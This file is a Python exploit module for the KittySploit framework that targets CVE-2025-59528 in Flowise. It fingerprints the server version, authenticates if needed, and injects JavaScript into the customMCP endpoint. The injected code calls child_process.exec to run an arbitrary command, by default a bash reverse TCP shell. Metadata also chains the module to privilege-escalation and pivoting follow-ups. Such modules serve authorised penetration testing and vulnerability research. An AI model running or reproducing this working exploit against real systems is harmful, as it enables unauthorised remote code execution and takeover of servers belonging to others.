Flowise JS Injection RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
import json
import re

class Module(Exploit, Http_client):
    
    __info__ = {
        "name": "Flowise JS Injection RCE",
        "description": "Exploits CVE-2025-59528 - JavaScript code injection in customMCP endpoint "
                       "allowing remote code execution",
        "author": [
            "Kim SooHyun (im-soohyun)",  # Vulnerability discovery
            "nltt0",  # Original exploit PoC
            "Valentin Lobstein <chocapikk[at]leakix.net>",  # Metasploit module
            "KittySploit Team"  # Python port
        ],
        "cve": ["CVE-2025-59528"],
        "platform": Platform.MULTI,
        "arch": [Arch.X86, Arch.X64],
        "references": [
            ["CVE", "2025-59528"],
            ["EDB", "52440"]
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "arch": [Arch.X86, Arch.X64],
            "category": PayloadCategory.SINGLE,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }
    
    # Target options
    rhost = OptString("", "Target Flowise hostname or IP", required=True)
    rport = OptPort(3000, "Target port", required=True)
    ssl = OptBool(False, "Use SSL/TLS", required=True)
    verify_ssl = OptBool(False, "Verify SSL certificate", required=True)
    
    # Authentication options
    flowise_email = OptString("", "Flowise email for JWT auth (required for versions >= 3.0.1)", False, advanced=True)
    flowise_password = OptString("", "Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1)", False, advanced=True)
    flowise_username = OptString("", "Flowise username for Basic Auth (required if env var is set)", False, advanced=True)
    
    def _parse_version(self, version_str):
        """Parse Flowise version string to comparable version"""
        try:
            # Handle versions like "2.2.7-patch.1" or "3.0.6"
            # Remove patch suffixes for comparison
            version_clean = re.sub(r'-patch\.\d+', '', version_str)
            version_clean = re.sub(r'[^0-9.]', '', version_clean)
            
            # Split into parts
            parts = version_clean.split('.')
            if len(parts) >= 3:
                major = int(parts[0])
                minor = int(parts[1])
                patch = int(parts[2])
                return (major, minor, patch, version_str)
            elif len(parts) == 2:
                major = int(parts[0])
                minor = int(parts[1])
                return (major, minor, 0, version_str)
            else:
                return (int(parts[0]), 0, 0, version_str)
        except:
            return None
    
    def _compare_versions(self, v1, v2):
        """Compare two version tuples"""
        if v1 is None or v2 is None:
            return None
        
        v1_tuple = v1[:3] if isinstance(v1, tuple) else v1
        v2_tuple = v2[:3] if isinstance(v2, tuple) else v2
        
        if v1_tuple > v2_tuple:
            return 1
        elif v1_tuple < v2_tuple:
            return -1
        else:
            return 0
    
    def _flowise_get_version(self):
        """Get Flowise version from API"""
        try:
            # Try to get version from /api/v1/version or similar endpoint
            response = self.http_request(method='GET', path='/api/v1/version', timeout=10)
            
            if response and response.status_code == 200:
                try:
                    data = response.json()
                    version = data.get('version') or data.get('flowiseVersion')
                    if version:
                        return version
                except:
                    pass
            
            # Try alternative endpoint
            response = self.http_request(method='GET', path='/api/v1/ping', timeout=10)
            if response and response.status_code == 200:
                try:
                    data = response.json()
                    version = data.get('version')
                    if version:
                        return version
                except:
                    pass
            
            # Try to get from response headers or HTML
            response = self.http_request(method='GET', path='/', timeout=10)
            if response:
                # Check for version in headers
                version_header = response.headers.get('X-Flowise-Version') or response.headers.get('Flowise-Version')
                if version_header:
                    return version_header
                
                # Try to extract from HTML/JS
                if 'flowise' in response.text.lower():
                    version_match = re.search(r'flowise[\/\s]+([\d\.]+(?:-patch\.\d+)?)', response.text, re.IGNORECASE)
                    if version_match:
                        return version_match.group(1)
            
            return None
            
        except Exception as e:
            print_debug(f"Error getting Flowise version: {e}")
            return None
    
    def _flowise_requires_auth(self):
        """Check if Flowise requires authentication (>= 3.0.1)"""
        if not hasattr(self, 'flowise_version') or not self.flowise_version:
            self.flowise_version = self._flowise_get_version()
        
        if not self.flowise_version:
            return None  # Unknown
        
        version_tuple = self._parse_version(self.flowise_version)
        if not version_tuple:
            return None
        
        # Versions >= 3.0.1 require authentication
        min_auth_version = (3, 0, 1)
        return self._compare_versions(version_tuple, min_auth_version) >= 0
    
    def _flowise_login(self, email, password):
        """Login to Flowise and get JWT token"""
        try:
            # For versions >= 3.0.1, use JWT authentication
            login_data = {
                'email': email,
                'password': password
            }
            
            response = self.http_request(
                method='POST',
                path='/api/v1/login',
                headers={'Content-Type': 'application/json'},
                data=json.dumps(login_data),
                timeout=10
            )
            
            if response and response.status_code == 200:
                try:
                    data = response.json()
                    token = data.get('token') or data.get('accessToken') or data.get('jwt')
                    if token:
                        # Set authorization header for future requests
                        self.session.headers['Authorization'] = f'Bearer {token}'
                        return True
                except:
                    pass
            
            # Try Basic Auth for older versions
            if self.flowise_username:
                self.set_auth(self.flowise_username, password)
                # Test if auth works
                test_response = self.http_request(method='GET', path='/api/v1/ping', timeout=10)
                if test_response and test_response.status_code == 200:
                    return True
            
            return False
            
        except Exception as e:
            print_debug(f"Login error: {e}")
            return False
    
    def _flowise_send_custommcp_request(self, payload_data, opts=None):
        """Send request to customMCP endpoint with payload"""
        try:
            headers = {'Content-Type': 'application/json'}
            
            # Add Basic Auth if provided
            if opts and opts.get('username') and opts.get('password'):
                self.set_auth(opts['username'], opts['password'])
            
            # JWT token is already in session headers if set
            
            response = self.http_request(
                method='POST',
                path='/api/v1/node-load-method/customMCP',
                headers=headers,
                data=json.dumps(payload_data),
                timeout=30
            )
            
            return response
            
        except Exception as e:
            print_error(f"Error sending customMCP request: {e}")
            return None
    
    def check(self):
        """Check if target is vulnerable"""
        try:
            print_info(f"Checking {self.rhost}:{self.rport} for Flowise...")
            
            version = self._flowise_get_version()
            if not version:
                return {
                    'vulnerable': False,
                    'reason': 'Could not retrieve Flowise version',
                    'confidence': 'low'
                }
            
            print_status(f"Flowise version detected: {version}")
            self.flowise_version = version
            
            # Vulnerability introduced in 2.2.7-patch.1 and fixed in 3.0.6
            version_tuple = self._parse_version(version)
            if not version_tuple:
                return {
                    'vulnerable': False,
                    'reason': f'Could not parse version: {version}',
                    'confidence': 'low'
                }
            
            min_vuln_version = (2, 2, 7)
            max_vuln_version = (3, 0, 6)
            
            # Check if version is >= 2.2.7 (or contains 2.2.7)
            is_vulnerable = False
            if self._compare_versions(version_tuple, min_vuln_version) >= 0 or '2.2.7' in version:
                # Check if version is < 3.0.6
                if self._compare_versions(version_tuple, max_vuln_version) < 0:
                    is_vulnerable = True
            
            if is_vulnerable:
                base_msg = '(affected: >= 2.2.7-patch.1 and < 3.0.6)'
                requires_auth = self._flowise_requires_auth()
                if requires_auth:
                    auth_msg = ' (auth required)'
                elif requires_auth is None:
                    auth_msg = ' (auth status unknown)'
                else:
                    auth_msg = ' (may work unauthenticated)'
                
                return {
                    'vulnerable': True,
                    'reason': f'{base_msg}{auth_msg}',
                    'confidence': 'high'
                }
            else:
                return {
                    'vulnerable': False,
                    'reason': f'Version {version} is not vulnerable',
                    'confidence': 'high'
                }
                
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {e}',
                'confidence': 'low'
            }
    
    def _execute_command(self, cmd):
        """Execute command via JavaScript injection"""
        requires_auth = self._flowise_requires_auth()
        email = self.flowise_email
        password = self.flowise_password
        has_credentials = bool(email and password)
        
        if requires_auth and not has_credentials:
            fail.Message('Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD')
            return False
        
        if has_credentials:
            try:
                if not self._flowise_login(email, password):
                    if requires_auth:
                        fail.Message('Login failed and authentication is required')
                        return False
                    else:
                        print_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)')
            except Exception as e:
                if requires_auth:
                    fail.Message(f'Login failed: {e}')
                    return False
                else:
                    print_warning(f'Login failed: {e}, but continuing without authentication')
        
        # JavaScript payload that executes the command
        # BadChars ensures \r \n \ " are not in the payload
        js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \
                     f'cp.exec("{cmd}",()=>{{}});return 1;}})()}}'
        
        payload_data = {
            'loadMethod': 'listActions',
            'inputs': {
                'mcpServerConfig': js_payload
            }
        }
        
        opts = {
            'username': self.flowise_username,
            'password': self.flowise_password
        }
        
        response = self._flowise_send_custommcp_request(payload_data, opts)
        
        if response:
            # Command execution is asynchronous, so we don't expect a specific response
            # Any 200 response indicates the request was accepted
            if response.status_code == 200:
                return True
            else:
                print_warning(f"Unexpected response code: {response.status_code}")
                return True  # Still consider it a success as command may have executed
        
        return False
    
    def run(self):
        """Execute the exploit"""
        try:
            # Get payload command
            if not hasattr(self, 'payload') or not self.payload:
                fail.Message("No payload configured")
                return False
            
            # Get generated payload (self.payload already handles generation)
            try:
                generated_payload = self.payload
                if not generated_payload:
                    fail.Message("Failed to generate payload")
                    return False
                
                # Convert bytes to string if needed
                if isinstance(generated_payload, bytes):
                    payload_cmd = generated_payload.decode('utf-8', errors='ignore')
                else:
                    payload_cmd = str(generated_payload)
                    
            except Exception as e:
                fail.Message(f"Failed to generate payload: {e}")
                return False
            
            print_status(f"Executing payload via JavaScript injection...")
            print_debug(f"Payload command: {payload_cmd}")
            
            if not self._execute_command(payload_cmd):
                fail.Message("Failed to execute payload")
                return False
            
            print_success("Payload executed successfully!")
            return True
            
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            import traceback
            traceback.print_exc()
            return False